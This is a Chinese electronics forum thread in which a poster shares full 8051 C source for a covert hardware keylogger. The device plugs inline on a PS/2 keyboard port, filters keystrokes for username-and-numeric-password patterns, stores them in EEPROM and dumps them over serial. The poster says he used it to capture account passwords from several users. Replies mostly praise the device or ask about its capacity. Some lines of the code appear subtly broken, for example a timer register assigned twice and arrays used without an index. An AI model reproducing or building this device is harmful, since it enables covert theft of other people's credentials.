迅维网

标题: STC51制作的键盘记录仪 [打印本页]

作者: 蟒山    时间: 2013-11-10 21:36
标题: STC51制作的键盘记录仪
    把这个电路板安装主机键盘接口后面,再接键盘。电脑操作者的所有输入,可根据不同要求记录在STC90C54RD+自带的EEPROM中。取下记录仪后,连接另一个电脑的串中,通过DELPHI编写的上位机程序,读出EEPROM记录下的键盘操作内容。纯好玩,请误用于其它用途。
    赋上单片机C语言代码,DELPHI上位机程序的代码就免了。电路板图片也来一个,焊完了懒得找清洁液,别喷 ,整个电路板上只有两块集成电路,一个STC单片机芯片,一个串口转换芯片,呵呵,STC的芯片功能就是艮艮的。费话少说,直接上图。
调整大小 DSC03217.JPG
登录/注册后看高清大图
调整大小 DSC03218.JPG
登录/注册后看高清大图
调整大小 DSC03219.JPG
登录/注册后看高清大图


//所用芯片为STC90C54RD+,共45K EEPROM,地址0x4000~0xf3ff。存放当前地址指针在0XF300处.
#include "reg52.h"
#include "intrins.h"
#include "eeprom.h"
#define uchar unsigned char
#define uint unsigned int
sbit key_data=P3^4;     //键盘数据脚
sbit key_clk=P3^2;                  //键盘时钟脚
bit flagkey,flaguser,keyup=0,flag_serial=0;   //flagkey为有按键按下的标志
uint  eeprom_int=0;                //存放EPROM中存放码值的个数
uchar intkey=0,keytemp=0;    //intkey为脉冲计数,keytemp为码值
uint  serial_num,inttimer=0;             //inttimer定时器计数变量,serial_num为PC发送到MCU的字符'e'或's'
uchar code keyma[11]={0x45,0x16,0x1e,0x26,0x25,0x2e,0x36,0x3d,0x3e,0x46,0x5a};  //扫描码
uchar ascnum=0,keyasc[20]={0};        //ascnum为存放码值的个数及keyasc[]数组下标,keyasc[]为存放码值的数组
void key_scan() interrupt 0       //中断0设置为读键盘数据
{
    if((intkey>0)&&(intkey<9))       //在第2到第9为数据,第1位为开始位,第10、11位直接丢弃
    {
       keytemp=keytemp>>1;           
                key_data=1;
       if(key_data)  keytemp=keytemp|0x80;   
    }
    intkey++;
    while(!key_clk);
    if(intkey>10)         //当大于10,表示数据接收完毕,关闭中断,进行数据处理
    {
           intkey=0;        //脉冲计数清零
       flagkey=1;                //有数据标志置位
       EA=0;                //暂关闭中断
    }
}

void timer() interrupt 1    //50MS产生一次中断?
{
        TH0=(65536-50000)/256;
        TH0=(65536-50000)%256;
    inttimer++;
}

void serial() interrupt 4        //串行口中断,接收PC发送的命令'e'或's'
{
        flag_serial=1;
        serial_num=SBUF;
        RI=0;
               
}
void epromwri()                //EPROM写入函数
{
        uchar i,temp1,temp2;
        if(eeprom_int<0xf300)        //在0XF300以内的地址均可写入
        {
                for(i=0;i<ascnum;i++)
                {
                        byte_write(eeprom_int,keyasc);        //将码值转换为数值写入
                        eeprom_int++;                        //eeprom_int++为字符地址或个数
                        temp1=(unsigned char)(eeprom_int>>8);
                        temp2=(unsigned char)(eeprom_int&0x00ff);
                    sector_erase(0xf300);                //重新写入前先擦除扇区
                        byte_write(0xf300,temp1);        //EPROM写入的字符地址(及字符个数)存放在地址0xf300处
                        byte_write(0xf301,temp2);
                }
        }
}
bit keymahefa()  //判断是否是数字和回车字符,如果不是,则清零,重新接收字符
{
        uchar i;
        for(i=0;i<11;i++)
        {
                if(keyma==keytemp)   //如果在keyma数组中找到相同的扫描码,将数组下标做为相对应的按键数字存入keyasc数组中
                {
                        keyasc[ascnum]=i;
                        ascnum++;
                        return 0;
                }
        }
        return 1;   //如果没有相同的扫描码,说明字符非法,返回1
}

void keypro()        //字符处理函数
{
    uchar temp1,temp2;
        keyup=0;
        if(keymahefa())                //判断字符是否合法
        {
                ascnum=0;
                if(flaguser)   //如果是非法密码字符,则EPROM存入位置指针提前到用户名的位置,重新存入用户名
                {
                        eeprom_int-=6;
                        temp1=(unsigned char)(eeprom_int>>8);
                        temp2=(unsigned char)(eeprom_int&0x00ff);
                    sector_erase(0xf300);                //重新写入前先擦除扇区
                        byte_write(0xf300,temp1);        //EPROM写入的字符地址(及字符个数)存放在地址0xf300处
                        byte_write(0xf301,temp2);
                }
                flaguser=0;
                return;
        }
        if(keytemp==0x5a)  //在回车产生
        {
                if(flaguser&&(ascnum<20))  //有回车,且密码标志和总字符数少于20个字符,存入密码
                {
                        epromwri();                           //存入EPROM
                        flaguser=0;
                        ascnum=0;
                }
                else if(ascnum==6)    //有回车,且字符数是5+1个,则做为用户名存入
                {
                        epromwri();         //存入EPROM
                        flaguser=1;
                        ascnum=0;
                }
                else      //如果回车产生在其它位置,则清零,重新接收字符
                {
                        ascnum=0;
                        if(flaguser)
                        {
                                eeprom_int-=6;
                                temp1=(unsigned char)(eeprom_int>>8);
                                temp2=(unsigned char)(eeprom_int&0x00ff);
                            sector_erase(0xf300);                //重新写入前先擦除扇区
                                byte_write(0xf300,temp1);        //EPROM写入的字符地址(及字符个数)存放在地址0xf300处
                                byte_write(0xf301,temp2);
                        }
                        flaguser=0;
                }
        }
}

void main()
{
        uchar i,send_char;        //send_char发送到PC的按键码值
        uint addr_sector,addr_sendbyte;   //addr_sector为擦除扇区的地址,addr_sendbyte为EPROM发送码值的字节地址
    TMOD=0X21;                  //定时器1,方式2,为串行口设置.定时器0做为计数器使用
        TH0=(65536-50000)/256;
        TH0=(65536-50000)%256;
        TH1=TL1=0XFD;          //串行口波特率为9600
        TR1=1;                         //计数打开
        SCON=0X50;                //工作方式1,不接收数,如果允许接收PC数据,为SCON=0X50
        ET0=1;                //允许定时器0中断
        ES=1;                //允许串行口中断
        TR0=1;

    EX0=1;     //外部中断0有效
    IT0=1;    //下降沿触发
        EA=1;     //开总中断

        eeprom_int=byte_read(0xf300);
        eeprom_int=(eeprom_int<<8)|byte_read(0xf301);
        while(1)
    {
          if(inttimer>=600)    //此语句非常重量,主要是消除电脑启动和运行中所产生的干扰脉冲,得到正确码值
          {                                                 //变量=20,间隔1秒;变量=6000时,间隔5分钟。
              inttimer=0;
                  intkey=0;
                  keytemp=0;      //这几个变量清零后,得到正确的按键开始脉冲
          }   
          if(flagkey)                  //有按键产生,进入EEPROM写入函数
          {
              flagkey=0;
                  if(keyup) keypro();   //如果按键松开标志KEYUP置1,则进入keypro函数进行处理
                  if(keytemp==0xf0) keyup=1;   //如果按键扫描码为0XF0,则表示有按键松开,否则KEYUP置0
                  keytemp=0;   //扫描码临时变量清零,进行入下一个读取进程
          EA=1;
           }
           if(flag_serial)        //有PC发送命令
           {
                     flag_serial=0;
                  switch(serial_num)
                  {
                          case  'e':                //为e时,执行擦除所有扇区操作,从0X4000开始,90个扇区,第一次使用前必须使用此功能
                                addr_sector=0x4000;
                                for(i=1;i<=90;i++)
                                {
                                        sector_erase(addr_sector);
                                        addr_sector=addr_sector+0x200;        //每个扇区间隔512个字节
                                }                               
                                byte_write(0xf300,0x40);        //在0XF300地址处写入首地址
                                byte_write(0xf301,0);
                                eeprom_int=0x4000;        //清除数据后,字符地址(或字符个数)为首地址
                                break;
                        case  's':        //为s时,将EEPROM中数值转换后发送到PC
                                for(addr_sendbyte=0x4000;addr_sendbyte<eeprom_int;addr_sendbyte++)    //从0X4000处开始,eeprom_int结束
                                {
                                        send_char=byte_read(addr_sendbyte);        //读当前字节内容
                                        ES=0;
                                        if(send_char==10)         //如果为10说明是回车,发送空格,便于在PC上观察
                                        {
                                                SBUF=32;
                                                while(!TI);
                                                TI=0;
                                        }
                                        else
                                        {
                                                SBUF=send_char+48;        //将数值加48后发送相应的ASCII到PC,便于观察
                                                while(!TI);                                       
                                                TI=0;
                                        }
                                        ES=1;
                                }
                                break;
                   }
           }
    }
}





作者: Enigma    时间: 2013-11-10 22:17
基于硬件底层了,这种文章不错。虽然这种东西国外早就有实物了,不过相关资料非常少也只是在一个网络安全的杂志上面看到过。
作者: guofenren    时间: 2013-11-10 22:40
这芯片,能存多大容量?
作者: 記憶殘缺    时间: 2013-11-10 22:50
如果不是转载的。楼主大神啊!~
作者: 望远欲穿    时间: 2013-11-10 23:23
就是单片机吧 一个哥们在学  不知道怎么样
作者: Rainwong    时间: 2013-11-10 23:28
这是记录键盘的敲击次数??
作者: 蟒山    时间: 2013-11-11 09:46
如果不是转载的。楼主大神啊!~
=====================
基于硬件底层了,这种文章不错。虽然这种东西国外早就有实物了,不过相关资料非常少也只是在一个网络安全的杂志上面看到过。
===============================

绝对原创,其实并不复杂,会玩单片机的都应该会。至于相关资料,其实只要把PS接口搞懂就行。
曾试过,读取了N个用户的某类帐号和密码。
不管怎样,也只是玩玩的,可不想蹲班房。没能创收,所以现在开始学主板和笔记本维修了。
作者: 蟒山    时间: 2013-11-11 09:54


作者: 蟒山    时间: 2013-11-11 09:56
楼上第二张为DELPHI语言写的WINDOWS下的上位机程序,通过串口读取单片机EEPROM里面的数据。
作者: 蟒山    时间: 2013-11-11 22:16

这个看EEPROM容量,这块型号的单片机有45KByte,键盘按一次键为1Byte,算算吧
作者: 蟒山    时间: 2013-11-11 22:18
記憶殘缺 发表于 2013-11-10 22:50
如果不是转载的。楼主大神啊!~

当然原创,来赚点下载分。第一次不知道,还是充的10RMB呢
作者: 記憶殘缺    时间: 2013-11-12 10:56
蟒山 发表于 2013-11-11 22:18
当然原创,来赚点下载分。第一次不知道,还是充的10RMB呢

给你加分了。。。
作者: 蟒山    时间: 2013-11-12 12:26
記憶殘缺 发表于 2013-11-12 10:56
给你加分了。。。


作者: bomb1999    时间: 2013-11-17 20:05
这个可以啊 谢谢楼主分享                                 
作者: ccaaoo    时间: 2014-4-4 18:22
"eeprom.h"怎么没有
作者: hemilan    时间: 2014-5-17 16:47
不懂,这个是用来干啥的?




欢迎光临 迅维网 (https://www.chinafix.com/) Powered by Discuz! X3.4